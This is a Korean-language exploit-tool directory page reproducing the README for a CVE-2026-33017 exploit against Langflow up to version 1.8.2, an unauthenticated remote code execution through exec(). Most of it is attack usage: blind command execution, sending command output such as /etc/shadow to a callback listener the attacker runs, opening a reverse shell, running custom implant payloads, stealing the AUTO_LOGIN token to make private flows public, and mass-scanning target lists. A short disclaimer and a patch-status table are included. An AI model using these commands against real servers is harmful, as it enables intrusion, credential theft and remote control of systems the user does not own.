Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33017-Exploit — # CVE-2026-33017 익스플로잇 — Langflow <= 1.8.2의 exec()를 통한 플로우 빌드 엔드포인트의 인증 없는 RCE | Kitploit
도구/GitHubGitHub/oscar-mine/cve-2026-33017-exploit
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHuboscar-mine/cve-2026-33017-exploit

CVE-2026-33017-Exploit

# CVE-2026-33017 익스플로잇 — Langflow <= 1.8.2의 exec()를 통한 플로우 빌드 엔드포인트의 인증 없는 RCE

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33017 - Langflow 인증 없이 가능한 원격 코드 실행(RCE)

root@kitploit:~
        _____
       /     \
      | () () |
       \  ^  /
        |||||

인증 없이 exec(), 샌드박스 없음, 희망 없음.

Langflow <= 1.8.2는 POST /api/v1/build_public_tmp/{flow_id}/flow 엔드포인트를 통해 인증 없이 원격 코드 실행을 허용합니다. 공격자가 제공한 플로우 데이터에 포함된 노드 정의의 임의 Python 코드가 샌드박싱 없이 exec()에 직접 전달됩니다.

  • CVSS: 9.8 Critical
  • CWE: CWE-94 (코드 주입), CWE-306 (인증 누락)
  • 영향 범위: Langflow <= 1.8.2 (1.9.0-dev0 ~ dev11 포함)
  • 수정 버전: Langflow 1.9.0
  • CISA KEV: 2026-03-25 추가
  • 실제 공격 사례: 공개 후 20시간 이내

공격 체인

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow
  -> chat.py -> start_flow_build() -> build_graph_from_data()
  -> Graph.from_payload() -> loading.py -> eval.py create_class()
  -> validate.py prepare_global_scope() -> exec(compiled_code)
  -> 서버 프로세스 권한으로 임의 코드 실행. 게임 끝.

설치

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

사용법

정찰 - 대상이 취약한지 확인

root@kitploit:~
python3 exploit.py --url http://target:7860 --check

블라인드 명령 실행

root@kitploit:~
python3 exploit.py --url http://target:7860 --cmd "id"

GET 콜백으로 출력 탈취 (URL 경로에 base64)

root@kitploit:~
# 터미널 1: 리스너 시작
python3 -m http.server 8080

# 터미널 2: 익스플로잇 실행
python3 exploit.py --url http://target:7860 --cmd "id" \
  --callback-get http://your-ip:8080

# 리스너 로그에서 base64 디코딩:
echo "dWlkPTEwMDAo..." | base64 -d

POST 콜백으로 출력 탈취 (본문에 원본 출력)

root@kitploit:~
# 터미널 1: 리스너 시작
nc -l 8080

# 터미널 2: 익스플로잇 실행
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
  --callback-post http://your-ip:8080

# 원본 출력이 POST 본문에 그대로 전달됨 - 디코딩 불필요

리버스 셸

root@kitploit:~
# 터미널 1: 리스너 시작
nc -l 4444

# 터미널 2: 익스플로잇 실행
python3 exploit.py --url http://target:7860 --revshell your-ip 4444

사용자 정의 Python 페이로드

root@kitploit:~
python3 exploit.py --url http://target:7860 --payload-file implant.py

페이로드 파일 규칙:

  • 코드는 prepare_global_scope() 내부의 exec()를 통해 모듈 레벨에서 실행됨
  • AST 필터가 Assign, FunctionDef, ClassDef 노드만 실행하므로 할당문을 사용해야 함 (예: _x = os.popen(...).read())
  • 블로킹 호출은 비동기 이벤트 루프를 죽이지 않도록 threading.Thread(daemon=True)를 사용해야 함

비공개 플로우 자동 승격

PUBLIC 플로우가 없지만 AUTO_LOGIN이 활성화된 경우 (많은 배포 환경에서 기본값):

root@kitploit:~
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"

이 옵션은 AUTO_LOGIN 토큰을 탈취하여 첫 번째 플로우를 PUBLIC으로 PATCH한 후 익스플로잇을 수행합니다.

대량 스캔

파일에서 여러 대상을 스캔 (취약점 확인 전용):

root@kitploit:~
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt

targets.txt 형식:

root@kitploit:~
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# 주석은 무시됨

출력 내용:

  • 버전 감지 (취약 / 패치됨)
  • AUTO_LOGIN 상태 (무료 토큰 = 쉬운 권한 상승)
  • PUBLIC 플로우 수 (즉시 익스플로잇 가능)

Burp 프록시 사용

root@kitploit:~
python3 exploit.py --url http://target:7860 --cmd "id" \
  --proxy http://127.0.0.1:8080

작동 원리

  1. 버전 확인 - /api/v1/version을 프로빙하여 대상 식별
  2. 플로우 탐색 - AUTO_LOGIN(활성화된 경우)을 사용하여 플로우를 열거하고 PUBLIC 플로우 찾기
  3. 페이로드 주입 - code 필드에 악성 Python이 포함된 CustomComponent 노드로 최소 플로우 그래프 구성
  4. 코드 실행 - 조작된 data 매개변수로 /api/v1/build_public_tmp/{flow_id}/flow에 POST 요청. Langflow가 그래프를 컴파일하고 create_class() -> prepare_global_scope() -> exec()를 호출하여 공격자 코드 실행

v1.9.0의 수정 사항은 data 매개변수를 완전히 제거하여 엔드포인트가 데이터베이스의 저장된 플로우 데이터만 사용하도록 강제합니다.

패치 분석

버전상태

참고 자료

  • NVD - CVE-2026-33017
  • JFrog Research - 패치 우회 분석
  • Sysdig - 20시간 내 악용 사례
  • CISA KEV
  • 수정 커밋
  • GitHub Advisory: GHSA-rvqx-wpfh-mfx7

면책 조항

이 도구는 승인된 보안 연구 전용입니다. 명시적 테스트 허가를 받은 시스템에만 사용하십시오. 작성자는 오용에 대해 책임을 지지 않습니다.

도구 다운로드
<= 1.8.1
취약
1.8.2변경 로그에 수정되었다고 표시되었지만 코드는 변경되지 않음 (JFrog 확인)
1.9.0-dev0 ~ dev11여전히 취약
1.9.0실제 수정됨 - 엔드포인트에서 data 매개변수 제거